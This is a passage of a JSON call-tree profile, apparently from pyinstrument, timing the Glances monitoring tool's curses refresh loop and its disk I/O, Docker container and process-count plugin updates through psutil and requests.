0.002001929999096319, \"l1094\": 0.002001929999096319},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001929999096319, \"l1058\": 0.002001929999096319},\"children\": [{\"identifier\": \"get_next_x_and_x_max\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001000\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001929999096319, \"l1007\": 0.002001929999096319},\"children\": [{\"identifier\": \"len\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101979,\"attributes\": {\"cGlancesCursesStandalone\": 0.10197862700442784, \"l291\": 0.10197862700442784},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101979,\"attributes\": {\"cGlancesCursesStandalone\": 0.10197862700442784, \"l260\": 0.10197862700442784},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101979,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101979,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052254200127209, \"l1202\": 0.10052254200127209},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100523,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100523,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056973899918376, \"l291\": 0.10056973899918376},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056973899918376, \"l260\": 0.10056973899918376},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100570,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100570,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005149829943548, \"l1202\": 0.1005149829943548},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005959600006463, \"l291\": 0.1005959600006463},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005959600006463, \"l260\": 0.1005959600006463},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100596,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100596,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100473,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047271100484068, \"l1202\": 0.10047271100484068},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100473,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100473,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100602,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060187400085852, \"l291\": 0.10060187400085852},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100602,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060187400085852, \"l260\": 0.10060187400085852},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100602,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100602,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100470,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046960799809312, \"l1202\": 0.10046960799809312},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100470,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100470,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100559,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005587010004092, \"l291\": 0.1005587010004092},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100559,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005587010004092, \"l260\": 0.1005587010004092},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100559,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100559,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100301,\"attributes\": {\"cGlancesCursesStandalone\": 0.10030060699500609, \"l1202\": 0.10030060699500609},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100301,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100301,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100513,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005127940006787, \"l291\": 0.1005127940006787},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100513,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005127940006787, \"l260\": 0.1005127940006787},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100513,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100513,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100505,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050505500112195, \"l1202\": 0.10050505500112195},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100505,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100505,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100619,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061943600157974, \"l291\": 0.10061943600157974},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100619,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061943600157974, \"l260\": 0.10061943600157974},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100619,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100619,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100531,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053120600059628, \"l1202\": 0.10053120600059628},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100531,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100531,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100581,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058079499867745, \"l291\": 0.10058079499867745},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100581,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058079499867745, \"l260\": 0.10058079499867745},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100581,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100581,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100469,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046875000261934, \"l1202\": 0.10046875000261934},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100469,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100469,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100554,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055393799848389, \"l291\": 0.10055393799848389},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100554,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055393799848389, \"l260\": 0.10055393799848389},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100554,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100554,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100531,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053104800317669, \"l1202\": 0.10053104800317669},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100531,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100531,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100657,\"attributes\": {\"cGlancesCursesStandalone\": 0.10065717399993446, \"l291\": 0.10065717399993446},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100657,\"attributes\": {\"cGlancesCursesStandalone\": 0.10065717399993446, \"l260\": 0.10065717399993446},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100657,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100657,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100527,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052711499884026, \"l1202\": 0.10052711499884026},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100527,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100527,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.116929,\"attributes\": {\"cGlancesStats\": 0.11692873799620429, \"l287\": 0.11692873799620429},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.116929,\"attributes\": {\"cGlancesStats\": 0.11692873799620429, \"l575\": 0.11692873799620429},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.116929,\"attributes\": {\"l571\": 0.11692873799620429},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.116929,\"attributes\": {\"cGlancesStats\": 0.11692873799620429, \"l274\": 0.09493101699627005, \"l275\": 0.021997720999934245},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.073042,\"attributes\": {\"cDiskioPlugin\": 0.0039360199953080155, \"l1278\": 0.07304246399871772, \"cContainersPlugin\": 0.004703272003098391, \"cProcesscountPlugin\": 0.06440317200031132},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.073042,\"attributes\": {\"l1295\": 0.07304246399871772},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003936,\"attributes\": {\"cDiskioPlugin\": 0.0039360199953080155, \"l114\": 0.0039360199953080155},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003936,\"attributes\": {\"cDiskioPlugin\": 0.0039360199953080155, \"l1351\": 0.0019438669987721369, \"l1365\": 0.0019921529965358786},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.001944,\"attributes\": {\"cDiskioPlugin\": 0.0019438669987721369, \"l148\": 0.0019438669987721369},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001944,\"attributes\": {\"l2133\": 0.0019438669987721369},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.001944,\"attributes\": {\"l659\": 0.0019438669987721369},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001944,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001992,\"attributes\": {\"l131\": 0.0019921529965358786},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.001992,\"attributes\": {\"l177\": 0.0019921529965358786},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001992,\"attributes\": {\"l131\": 0.0019921529965358786},\"children\": [{\"identifier\": \"_deepcopy_dict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000198\",\"time\": 0.001992,\"attributes\": {\"l202\": 0.0019921529965358786},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001992,\"attributes\": {\"l119\": 0.0019921529965358786},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004703,\"attributes\": {\"cContainersPlugin\": 0.004703272003098391, \"l252\": 0.004703272003098391},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004703,\"attributes\": {\"l256\": 0.004703272003098391},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004703,\"attributes\": {\"l248\": 0.004703272003098391},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004703,\"attributes\": {\"cDockerExtension\": 0.004703272003098391, \"l260\": 0.004703272003098391},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004703,\"attributes\": {\"cContainerCollection\": 0.004703272003098391, \"l1009\": 0.004703272003098391},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004703,\"attributes\": {\"cAPIClient\": 0.004703272003098391, \"l212\": 0.004703272003098391},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004703,\"attributes\": {\"cAPIClient\": 0.004703272003098391, \"l44\": 0.004703272003098391},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004703,\"attributes\": {\"cAPIClient\": 0.004703272003098391, \"l246\": 0.004703272003098391},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004703,\"attributes\": {\"cAPIClient\": 0.004703272003098391, \"l602\": 0.004703272003098391},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004703,\"attributes\": {\"cAPIClient\": 0.004703272003098391, \"l575\": 0.0019966899999417365, \"l589\": 0.0027065820031566545},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019966899999417365, \"l484\": 0.0019966899999417365},\"children\": [{\"identifier\": \"prepare\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000351\",\"time\": 0.001997,\"attributes\": {\"cPreparedRequest\": 0.0019966899999417365, \"l368\": 0.0019966899999417365},\"children\": [{\"identifier\": \"prepare_headers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000483\",\"time\": 0.001997,\"attributes\": {\"cPreparedRequest\": 0.0019966899999417365, \"l488\": 0.0019966899999417365},\"children\": [{\"identifier\": \"__iter__\\u0000<frozen _collections_abc>\\u0000881\",\"time\": 0.001997,\"attributes\": {\"cItemsView\": 0.0019966899999417365, \"l883\": 0.0019966899999417365},\"children\": [{\"identifier\": \"__getitem__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/structures.py\\u000051\",\"time\": 0.001997,\"attributes\": {\"cCaseInsensitiveDict\": 0.0019966899999417365, \"l52\": 0.0019966899999417365},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002707,\"attributes\": {\"cAPIClient\": 0.0027065820031566545, \"l703\": 0.0027065820031566545},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002707,\"attributes\": {\"cUnixHTTPAdapter\": 0.0027065820031566545, \"l644\": 0.0027065820031566545},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002707,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0027065820031566545, \"l787\": 0.0027065820031566545},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002707,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0027065820031566545, \"l534\": 0.0027065820031566545},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002707,\"attributes\": {\"cUnixHTTPConnection\": 0.0027065820031566545, \"l571\": 0.0027065820031566545},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002707,\"attributes\": {\"cUnixHTTPConnection\": 0.0027065820031566545, \"l1430\": 0.0027065820031566545},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002707,\"attributes\": {\"cHTTPResponse\": 0.0027065820031566545, \"l331\": 0.0027065820031566545},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002707,\"attributes\": {\"cHTTPResponse\": 0.0027065820031566545, \"l292\": 0.0027065820031566545},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002707,\"attributes\": {\"cSocketIO\": 0.0027065820031566545, \"l725\": 0.0027065820031566545},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002707,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002707,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.064403,\"attributes\": {\"cProcesscountPlugin\": 0.06440317200031132, \"l85\": 0.06440317200031132},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.064403,\"attributes\": {\"cGlancesProcesses\": 0.06440317200031132, \"l617\": 0.05828952600131743, \"l624\": 0.00199771199550014, \"l653\": 0.0022607020000577904, \"l659\": 0.0018552320034359582},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.058290,\"attributes\": {\"cGlancesProcesses\": 0.05828952600131743, \"l478\": 0.050288168000406586, \"l493\": 0.008001358000910841},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.050288,\"attributes\": {\"l1541\": 0.002554161997977644, \"l1558\": 0.04773400600242894},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002554,\"attributes\": {\"l1485\": 0.002554161997977644},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002554,\"attributes\": {\"l1526\": 0.002554161997977644},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002554,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002554,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047734,\"attributes\": {\"cProcess\": 0.04773400600242894, \"l579\": 0.04173638200154528, \"l572\": 0.003997081999841612, \"l578\": 0.0020005420010420494},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001742,\"attributes\": {\"cProcess\": 0.00174173300183611, \"l382\": 0.00174173300183611},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001742,\"attributes\": {\"cProcess\": 0.00174173300183611, \"l1138\": 0.00174173300183611},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001742,\"attributes\": {\"cProcess\": 0.00174173300183611, \"l1593\": 0.00174173300183611},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001742,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996106999285985, \"l753\": 0.001996106999285985},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996106999285985, \"l1593\": 0.001996106999285985},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001997621002374217, \"l141\": 0.001997621002374217},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006529957754537, \"l382\": 0.0020006529957754537},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006529957754537, \"l1138\": 0.0020006529957754537},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006529957754537, \"l1593\": 0.0020006529957754537},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006529957754537, \"l1880\": 0.0020006529957754537},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l939\": 0.0020003030003863387},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l1593\": 0.0020003030003863387},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l2052\": 0.0020003030003863387},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l1593\": 0.0020003030003863387},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l382\": 0.0020003030003863387},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003030003863387, \"l1718\": 0.0020003030003863387},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 